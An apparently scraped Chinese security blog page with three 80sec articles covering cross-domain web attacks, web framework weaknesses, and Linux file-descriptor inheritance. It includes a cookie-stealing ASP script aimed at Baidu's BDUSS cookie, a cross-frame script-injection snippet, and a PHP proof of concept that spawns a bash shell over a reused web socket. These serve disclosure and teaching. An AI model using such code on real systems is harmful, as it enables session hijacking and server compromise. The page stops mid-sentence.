浅谈跨越WEB攻击
Web 开发框架安全杂谈浅谈跨域WEB 攻击Write by admin in 未分类 at 2011-04-08 17:03:53浅谈跨域web 攻击EMail: rayh4c#80sec.comS
Web 开发框架安全杂谈
浅谈跨域WEB 攻击
Write by admin in 未分类 at 2011-04-08 17:03:53
浅谈跨域web 攻击
EMail: rayh4c#80sec.com
Site: http://www.80sec.com
Date: 2011-04-07
From: http://www.80sec.com
0×00 前言
一直想说说跨域web 攻击这一概念,先前积累了一些案例和经验,所以想写这么一篇文档让大家了解一下跨域web 攻击,跨域web 攻击指的是利用网站跨域安全设置缺陷进行的web 攻击,有别于传统的攻击,跨域web 攻击可以从网站某个不重要的业务直接攻击和影响核心业务。
传统的安全思维教会我们按资产、功能等需求划分核心业务,优先保护核心业务等,非核心业务的安全等级一般没有核心业务高,给我们错觉是非核心业务受到攻击的话,所造成损失不会很大,也不会影响到核心业务,所以让安全工作者了解跨域web 攻击这一概念还是非常有意义的。
0×01 基于ajax 跨域设置的跨域攻击
使用ajax 技术让人头痛的地方就是如何跨域,受同源策略所限不同域名包括子域名在内是无法进行AJAX 请求的,随后衍生出一类技术可以通过设置document.domain 实现跨域。如a.test.com 和b.test.com, 当两个网站通过javascript 操作DOM 接口 document.domain=’test.com’ 将网站的域设置为
test.com 后,两个网站就处于同一个域内,可以进行各种跨域操作。在开发人员方面这是很方便的跨域技术,但是在攻击者眼中这简直就是一个大后门,黑客只需要找到*.test.com下任意一个XSS 漏洞,在任意一个子域名里的网页都可以跨域攻击a.test.com 和b.test.com 。
ajax 跨域设置另外一个重点是这种跨域设置还会影响到窗口引用关系的同源策略,如腾讯微博网站进行了document.domain=’qq.com’的跨域设置,我们可以针对腾讯微博做个实验,在自己的腾讯微博
javascript:window.opener.eval('alert(/xss/)');
最后得出结论,由于腾讯微博网站进行了跨域设置,所以*.qq.com下的任意一个和腾讯微博有窗口引用关系的网页,都可以往腾讯微博跨域注入脚本运行。
案例:腾讯单点登录系统跨域劫持漏洞
,QQ 的客户端安装了一个快速登录插件,在客户端已登录且QQ.exe 在运行的状态下, 这个快速登录插件可以自动生成一个和QQ 号对应的密钥,在IE 浏览器访问QQ 网站的各个应用时通过这个密钥可以免密码一键登录网站。我经过分析发现,这个快速登录插件最大的安全措施是生成密钥的关键函数设置了一个信任域xui.ptlogin2.qq.com ,也就是在xui.ptlogin2.qq.com 的网页中我们才可以使用这个插件生成密钥。快速登录插件的这个信任域安全措施本意是阻止其他非安全域的网页调用这个插件,而开发人员却在xui.ptlogin2.qq.com 的一个网页写入了document.domain=’qq.com’的跨域设置,结果导致这个信任域形同虚设。通过QQ 任意分站的一个XSS 漏洞我们就能攻击xui.ptlogin2.qq.com ,首先给分站的网页进行跨域设置,然后通过框架页嵌入xui.ptlogin2.qq.com 的跨域设置页,由于两个网页都设置了同一个域,同源策略生效,那么就可以跨域操作框架注入脚本到xui.ptlogin2.qq.com 的域内运行。部分攻击代码如下:
xss.js 的内容:
window.name ='......' // xui.ptlogin2.qq.com域内运行的攻击脚本省略 document.domain='qq.com'; //跨域设置
function exploit(){crossQQdomain.location =
"javascript:eval(window.parent.name);void(0)";} //在id 为
crossQQdomain 的框架中通过伪协议注入脚本
document.write(""); 通过window.name 内设置的是调用快速登录插件攻击脚本代码,被攻击者访问了我们的跨站链接后,我们就可以获取到QQ 的一键登录密钥,后果不可想象。
0×02 基于cookie 安全的跨域攻击
以前关于csrf 的文档提过cookie 的“同源策略”,实际上这个只是含糊的说明了cookie 的domain 字段的作用。cookie 的domain 字段和浏览器约定俗成,如一般cookie 的domain 字段被默认设置为
www.test.com, 二级域名*.test.com下就无法访问这个cookie ,所以很多网站就将cookie 的domain 字段设置为.test.com 解决二级域名的cookie 读取问题。
案例:第三方分站沦陷导致的百度cookie 安全问题
在百度的passport 登录以后,百度会给客户端设置一个名为BDUSS 的cookie 值,这个值的domain 字段是.baidu.com ,如下:
set-cookie:
BDUSS=EVaS0YtVW91NUFnNktNNDhCeUxZelByZ2t6VnNqc2VKNDhqanhXV0Q1a1p4TVJOQVFBQUFBJCQAAAAAAAAAAApBESM9lhgAcmF5c3R5bGUAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAADgekV4AAAAAOB6RXgAAAAAcF1CAAAAAAAxMC42NS4yNBk3nU0ZN51gh; expires=Tue, 01 Jan 2030 00:00:00 GMT; path=/; domain=.baidu.com
,这个cookie 是百度众多的二级域名共享的身份认证cookie ,在某个巧合下我发现了百度第三方网站
<
Dim sp,i,rf
sp = split(request.ServerVariables("HTTP_COOKIE"),"; ",-1,1) #通过服务器变量获取HTTP 请求头中的COOKIE 值
rf = Request.ServerVariables("HTTP_REFERER")
For i=0 to UBound(sp)
if instr(sp(i),"BDUSS")>0 then
txtfile=server.mappath("log.txt")
set fso = CreateObject("Scripting.FileSystemObject")
set MyFile = fso.opentextfile(txtfile,8,True,0)
MyFile.Writeline(date()&" "&time()& " "& rf)
MyFile.Writeline(sp(i)& Chr(13))
MyFile.Close
set fso = nothing
Response.cookies("BDUSS")="delete"
Response.cookies("BDUSS").Path="/"
Response.cookies("BDUSS").Expires=(now()-1)
Response.cookies("BDUSS").Domain = ".baidu.com"
end if
next
response.redirect
"http://static.tieba.baidu.com/tb/editor/images/tsj/t_0028.gif" # 302转跳到真实的图片
>
将http://zhishang.baidu.com/c.asp#.gif(#是url 注释)这样的链接当成图片发布在百度贴吧、百度HI 等的帖子或日志中,被攻击者如果访问了嵌入了类似图片链接的网页,浏览器将会向
zhishang.baidu.com 的脚本发起一个GET 请求,这个请求会带上BDUSS 值的cookie ,服务端的脚本获取这个cookie 后,攻击者就可以在另一方利用这个cookie 伪造被攻击者的身份使用百度相关的服务。 0×03 跨域web 攻击的思考
跨域web 攻击还有很多种,本文只提到了危害比较大的两种,案例中所提到的漏洞也已经修复。本文没有再提到这类攻击的防御措施,因为这类web 攻击已经有别于传统的单点攻击,实际上国内外各大网站和web 程序都存在类似的安全问题,这类安全问题不是一个单独的个例,而是从网站架构开始就需要考虑的安全问题。
本文的目的并不是交大家如何利用跨域web 攻击,而是希望大家通过这类安全问题思考更多,让大家意识到现实的网络并没有绝对的安全,我们面临的web 安全问题依然严峻,应用和安全是一个对立面,我们需要在应用和安全中间找到一个平衡点。
,0×04 参考
腾讯单点登录系统跨域劫持漏洞 http://www.wooyun.org/bugs/wooyun-2010-0118
百度认证机制问题分析与利用 http://www.wooyun.org/bugs/wooyun-2010-0253
Comments (0)
本站内容均为原创,转载请务必保留署名与链接!
浅谈跨域WEB 攻击:http://www.80sec.com/cross_domain_attack.html
Linux 系统文件描述符继承带来的危害
浅谈跨域WEB 攻击 »
Web 开发框架安全杂谈
Write by admin in 未分类 at 2011-03-15 22:21:03
Web 开发框架安全杂谈
EMail: wofeiwo#80sec.com
Site: http://www.80sec.com
Date: 2011-03-14
From: http://www.80sec.com/
[ 目录 ]
0×00 起
0×01 承
0×02 转
0×03 合
0×00起
最近框架漏洞频发,struts 任意代码执行、Django csrf token防御绕过、Cakephp 代码执行等等各大语言编程框架都相继暴出高危漏洞,这说明对于编程框架的安全问题已经逐渐走入安全工作者的视线。 Web 开发框架就相当于web 应用程序的操作系统,他决定了一个应用程序的模型结构和编程风格。框架上出了漏洞,就如同当年一个rpc 远程EXP 就走遍全世界windows 的时代。
然而挖掘深层原因,从应用的模型和架构上考虑问题,其实这些框架漏洞都不只是一种偶然,而是一种必然。正是因为框架的模型结构,正因为他们的这种编程风格,才极大的增加了漏洞产生的可能性。
0×01承
现代编程框架的几个大特点:
,1、将程序代码分为不同层次,业务开发、前端开发、数据库开发人员各司其职,框架根据需要组装代码、调度执行
2、统一化自动化逻辑处理
3、常见功能的代码库封装并高度重用
4、脚手架功能,常见代码组件自动组装生成。如默认用户系统、默认后台。
然而就是以上几点广受好评的功能导致了安全薄弱点的产生。
1、代码调度
让我们来先回顾一下WEB 应用框架所最常见的MVC 模型。
用户发送一个HTTP 请求过来,框架的入口点(一般是route ,路由)分析用户请求的url 。然后依照url 中蕴含的信息分析出用户所要访问的controller 、action ,从而分发给相应的controller 文件中的action 函数,执行之;随后controller 再将model 中的数据结合用户输入数据依照view 层中的代码逻辑填充模板,最后view 、controller 执行完毕,返回用户最后的HTML 。
整个生命周期是这样的:
用户请求url->route分发->controller接管处理用户输入及业务逻辑->view层代码执行->controller返回展现结果
从上面的流程发现了什么?
MVC 模型就是一个将程序员分散在M 、C 、V 中的代码寻找并整合在一起执行的过程。那这必然就要牵涉到一个代码调度执行的问题。这里route 就是一个非常明显的例子。一个框架这么多代码文件,route 每一次调用controller ,都需要根据用户输入的url 进行匹配并执行用户指定的函数。这里就是一个薄弱点,一个必然绕不过去的问题。
对应到现实的例子,一个非常明显的例子就是:struts2框架的动态方法调用(DMI )
当你访问www.test.com/a!test.action时,struts 会根据你的url 帮你映射到名为a 的controller 中名为test 的Action 方法。而通过修改test 的值,我们可以访问a 这个类中的所有方法。如果恰好这个方法中含有敏感的信息,攻击者就获得了一切。结合其他技巧,攻击者能够做到的更多。但这就是框架的功能,框架总是要依靠URL 中的内容去匹配执行程序代码。
那么对于PHP 的框架呢?仔细想一下,如果PHP 需要做分散在不同文件中的代码调度执行,唯一能够实现的方式就是使用require/include函数包含文件。文件名来源于哪里?来源于用户输入的URL 。实际上目前市面上的大部分PHP 框架也都是这么实现的,Yii ,FleaPHP 等等。如果对用户的输入没有做好验证,就很容易导致一个本地文件包含漏洞。笔者曾经就在某不知名框架中发现过这样的漏洞,在不涉及应用程序逻辑的情况下,直接获取了系统权限。
2、统一化逻辑处理
框架的一大功能就是,通过统一的入口点,可以做一些统一的安全防护、逻辑控制。在软件工程学里的说法,这个叫“面向切面编程”(AOP )。
然而我们并不是说这样的统一控制模式不好,但对于这样的统一控制,如果框架设计或实现的不好,就能直接沦陷所有跑在之上的应用。
,这里有一个典型的统一处理导致安全问题的极端的例子:struts2任意代码执行漏洞。
漏洞起因是struts2希望能让用户提交的值能够直接注入到程序中的数据对象,而无需手动类型转换并给内部变量赋值等操作。为此struts2专门设计了一个叫做ognl 的表达式。通过它,用户提交的参数就能被自动解析为程序上下文中所存在的变量。
想想为什么能够自动解析?原因是用户提交的参数被当作自定义语言的代码被解析执行了!只是你并没有意识到这一点而已。于是有心人研究了一下,发现ognl 表达式除了参数值注入,还能通过它直接调用Java 自身的API 。于是,一个巨大的通杀0day 就这么诞生了。
回想一下,如果struts2没有这么“智能”的自动化、统一化用户输入处理机制,也就不会出现上述的大漏洞了。
前段时间爆出的Django 的csrf token绕过漏洞也是在统一安全处理的设计上出的问题。深究一下,为什么会出现这样的绕过问题?原因就是,框架必须要对所有用户的提交在真正的应用执行前做统一的csrf 防范,于是django 框架产生的token 是保存在cookie 中的(老版本和sessionid 有关,这个也是保存在cookie 中)。对于用户提交的POST 请求,表单中增加一项token ,框架在获得token 值后,与cookie 中的正确token 值比对,如果相等就通过。然而对于ajax 的请求,框架设计者却想当然的认为只要判断X-Requested-With 这个Ajax 特有的HTTP 头即可,根本无需运算比对token 。所以,框架对于http 头中包含有X-Requested-With 域的请求放行。通常情况下,只有ajax 的请求浏览器才会带上此自定义域,且浏览器一般无法自定义此字段。
结果被人发现可以利用flash 307跳转可以伪造自定义http 头,结果就绕过了此防范,导致统一的csrf 防护毫无作用。如果应用程序完全依靠框架的统一安全实现,就会受到安全漏洞的威胁。
其实Django 也很无奈,在它的架构设计中,它通过这个自定义头判断ajax 思路上也没有什么问题。可惜在目前连黄瓜都不可靠的年代,就没什么是可靠的了。
3、常见代码高度封装
代码的高度封装,对外只暴露几个接口,一行说明书。这必然造成一种现象:普通程序员就像是在搭建一个模型,只要按照说明书组建积木就可以了,不需要知晓其原理,不需要知道为什么要这样做。于是这时候就安全问题就产生了。
举一个同样在用户输入参数自动化处理方面的例子:在PHP 的ZendFramework 中,获取用户输入是调用getParam 方法,而不是常见PHP 程序中分开来的$_GET、$_POST等变量。那么,如果同时在GET 、POST 、COOKIE 、HEADER 中提交相同名字的参数,getParam 到底获取的是哪一个的值?先后顺序是什么?如果前后可以覆盖,会不会影响到我们自定义的一些统一安全措施?这是一个值得检查的安全薄弱点。
再举一个struts2的例子:对于常见的文件上传场景,struts 提供了一个FileUploadInterceptor 拦截器,直接可以在应用逻辑运行前对用户上传文件进行检查。然而在笔者的代码审计经验中,常常发现程序员只对maximumSize (文件大小)和allowedTypes (文件mime-type )进行限制,却放过了最关键的allowedExtensions (扩展名)限制。为什么?笔者检查了一下官方文档,发现在struts2.2之前的文档,都没有给出allowExtensions 的说明。或许struts 开发者想当然的认为allowedTypes 就可以限制上传文件的类型,殊不知只要伪造HTTP 包中的mime-type 字段,就可以直接上传任意文件。于是开发者也就依照官方的例子,只限制了allowdTypes ,从而导致安全问题的产生。
高度代码封装的确解决了“重复造轮子”的问题,但是它解决不了程序员的安全意识和懒惰的习惯。或许它设计的很好,或许它实现的也很好,但是只要它组装的不好,就有可能造成问题。
,4、脚手架功能
Django 的脚手架功能是非常好用的。它默认自带了一些app ,只要通过几个简单的命令或配置,就可以在不敲一句代码的情况下搭起一个普通网站的脚手架,自带了用户注册、登陆等系统,甚至还有一个默认的管理员后台。
然而正如上文所说,普通程序员并不了解框架真正做了些什么。他很有可能通过脚手架生成网站后,却直接忘却了程序自带的内容没有去除。当这样的网站上线后。我们发现他是Django 所写,那我们就可以直接尝试在url 后加入/admin/路径访问,直接猜解后台管理员密码。此外如果框架自带的默认后台出现安全漏洞,甚至可能直接绕过进入后台。
一旦使用框架默认的组件,就得考虑到框架所带来的默认功能的安全问题。其实这问题可以扩大,tomcat 自带的后台、fck 编辑器自带的上传组件,都可以说属于此类问题。
0×02转
框架的应用是软件开发的必然趋势,本文的目的也不在于抵制框架的使用。但对于框架应用后所带来的新安全问题,安全从业人员需要提高重视,紧跟技术发展,更新知识。对于此,我们能够做点什么?
1、 对于常见的应用场景,如文件操作、命令行操作、数据库操作、用户权限及认证等,我们需要了解框架的实现,给出相应的安全编码范例。
框架文档中给出的例子并不一定就是最好的。安全工作者必须对程序员进行安全意识的培训,让他知道如何利用框架的API 去安全的组合出常用功能。
2、 对于应用漏洞挖掘,我们需要扩充字典。
框架的封装,可能引入更多的危险API 或危险特性。在代码审计的过程中,需要将这些内容加入到危险词字典中。
3、 对于应用漏洞挖掘,由于框架结构所带入的新的安全薄弱点,需要专门对框架的设计及实现做检查,是否存在问题。
例如PHP 框架中代码调度执行的实现、文件上传统一检查的实现、封装的变量获取形式是否可靠等。本文中提到的安全薄弱点只是一个例子,更多的还需要大家的共同挖掘。
0×03合
实际上对于一个应用的安全审计归根到底就是个思路问题。笔者一直认为,了解程序员的思路,了解框架的思路,了解应用的思路,这些才是安全审计中最花时间的。而实际上真枪实弹看代码的漏洞挖掘却只占用很小的一部分时间。
只有将这些思路融会贯通,在脑中将审计对象进行抽象建模,了解应用需要保护什么,弱点在哪里,才能更为有效和有针对性的进行代码审计、安全防护。
最后,非常感谢剑心及空虚浪子心之前的研究成果和意见,对本文的帮助极大
Comments (0)
,本站内容均为原创,转载请务必保留署名与链接!
Web 开发框架安全杂谈:http://www.80sec.com/security-about-framework.html
WooYun-乌云正式上线
Web 开发框架安全杂谈 »
Linux 系统文件描述符继承带来的危害
Write by admin in 未分类 at 2010-11-23 19:02:26
Linux 系统文件描述符继承带来的危害
EMail: wofeiwo#80sec.com
Site: http://www.80sec.com
Date: 2010-11-20
[ 目录 ]
0×00 背景
0×01 POC
0×02 深入利用
0×03 解决方案及后话
0×00 前言
在初学linux 编程的时候,都会知道这样一个概念:当你用fork 建立一个子进程,父进程的所有内容会被“完完整整”的复制到子进程中。子进程是父进程的一个clone 体,除了pid 不同,其余一切相同。
再试想一下这样的场景:在Webserver 中,首先会使用root 权限启动,以此打开root 权限才能打开的端口、日志等文件。然后降权到普通用户,fork 出一些worker 进程,这些进程中再进行解析脚本、写日志、输出结果等进一步操作。
然而这里,仔细思考一下,就会发现隐含一个安全问题:子进程中既然继承了父进程的FD ,那么子进程中运行的PHP 或其他脚本只需要继续操作这些FD ,就能够使用普通权限“越权”操作root 用户才能操作的文件。
0×01 POC
为了验证这个想法,我们做了一个POC 。测试环境apache2.2.4 mod_php 5.2.14
首先我们查看任意一个apache 的worker 进程的fd:
[root@testplat ~]# pidof httpd
11117 21009 10472
,[root@testplat ~]# cd /proc/21009/fd
[root@testplat fd]# ls -alh
dr-x------ 2 root root 0 11ÔÂ 11 16:44 .
dr-xr-xr-x 4 daemon daemon 0 11ÔÂ 11 16:42 ..
lr-x------ 1 root root 64 11ÔÂ 11 16:44 0 -> /dev/null
l-wx------ 1 root root 64 11ÔÂ 11 16:44 1 -> /dev/null
l-wx------ 1 root root 64 11ÔÂ 11 16:44 2 ->
/usr/local/apache2/logs/error_log
lrwx------ 1 root root 64 11ÔÂ 11 16:44 3 -> socket:[155615]
lr-x------ 1 root root 64 11ÔÂ 11 16:44 4 -> pipe:[155625]
l-wx------ 1 root root 64 11ÔÂ 11 16:44 5 -> pipe:[155625]
l-wx------ 1 root root 64 11ÔÂ 11 16:44 6 ->
/usr/local/apache2/logs/error_log
l-wx------ 1 root root 64 11ÔÂ 11 16:44 7 ->
/usr/local/apache2/logs/access_log
lr-x------ 1 root root 64 11ÔÂ 11 16:44 8 -> eventpoll:[166489]
[root@testplat fd]# ps aux | grep httpd
root 10472 0.0 0.0 74300 2524 ? Ss Nov11 0:04 /usr/local/apache2/bin/httpd -k start
daemon 21009 0.0 0.0 74476 4492 ? S Nov11 0:00
/usr/local/apache2/bin/httpd -k start
daemon 11117 0.0 0.0 74360 4028 ? S Nov12 0:00
/usr/local/apache2/bin/httpd -k start
root 31101 0.0 0.0 51208 456 pts/0 R 14:07 0:00 grep httpd
如上所示,果然在apache 的子进程中保存了日志的句柄,apache 自身是daemon 权限,而这两个句柄则是root 身份打开的。我们试试利用php fork出来一个进程是否能够继续“越权”写入此句柄。 &6");?>
访问一下,看看是不是的确将12345写入到了root 的errorlog 中。
[root@testplat htdocs]# tail ../logs/error_log
[Fri Nov 12 13:54:32 2010] [error] [client 172.21.153.169] request failed: error reading the headers
[Fri Nov 12 18:12:53 2010] [error] [client 172.21.153.169] request failed: error reading the headers
12345
[root@testplat htdocs]# ls -alh ../logs/error_log
-rw-r--r-- 1 root root 34M 11ÔÂ 15 14:54 ../logs/error_log
很好,写进去了。完美的证实了我们的想法。既然能够只用一个低权限的webshell 就能读写web 日志,那么以后所有的Web 日志将不再有可靠性,任何信息都能加以伪造。当然伪造或删改日志不会如此简单,还有一些限制需要一定步骤,有心人继续研究吧。
,0×02 深入利用
换一种思路,既然文件可以读写,那么webserver 的80端口socket 是否也能加以利用呢?linux 系统所有都是文件,既然都是FD ,肯定也能适用。首先找一下我们连接的FD 号,我这里测试时写死为9,因为肯定是第一个连接:
system("python -c 'import pty;pty.spawn("/bin/bash")' 1>&9 0>&9 2>&9 ;" );
?>
接着我们用nc 访问一下我们的脚本:
C:UsersGaRY>nc testplat 80
GET /shell.php HTTP/1.0
bash: /root/.bashrc: 权限不够
bash-3.00$ id
id
uid=2(daemon) gid=2(daemon) groups=1(bin),2(daemon),4(adm),7(lp) bash-3.00$ exit
exit
exit
HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 07:16:25 GMT
Server: Apache/2.2.4 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 0
Connection: close
Content-Type: text/html
。 可见成功复用了我们连接服务器的socket ,直接nc 提交一个GET 请求之后就返回了一个交互式的shell 。这一切只需要一个简单的webshell 即可完成
利用80端口的socket 复用,我们继续下去可以做穿墙等一系列更为猥琐的事情。
0×03 解决方案及后话
通过上文的分析,我们了解到,利用linux 特性FD 的继承,将会导致非常严重的越权问题。这本身就可以算作是一种类型的安全漏洞,不仅仅是apache ,不仅仅是webserver ,可能其他的网络应用都会存在类似的漏洞。
实际上Linux 系统自身在设计时也考虑到了这一类安全问题。系统给出的解决方案是:close_on_exec。当父进程打开文件时,只需要应用程序设置FD_CLOSEXEC标志位,则当fork 后exec 其他程序的时候,内核自动会将其继承的父进程FD 关闭。
这样就解决了以上说明的问题,因为当你system 其他进程时,所有的fd 将不再继承,则无法再利用。而你作为较低权限的进程,也无法自己打开这些文件,所有操作都会报告权限不足。
在撰写此文时,发现Apache 已经意识到了此安全问题,并在最近的版本中修复了,对所有打开的FD 都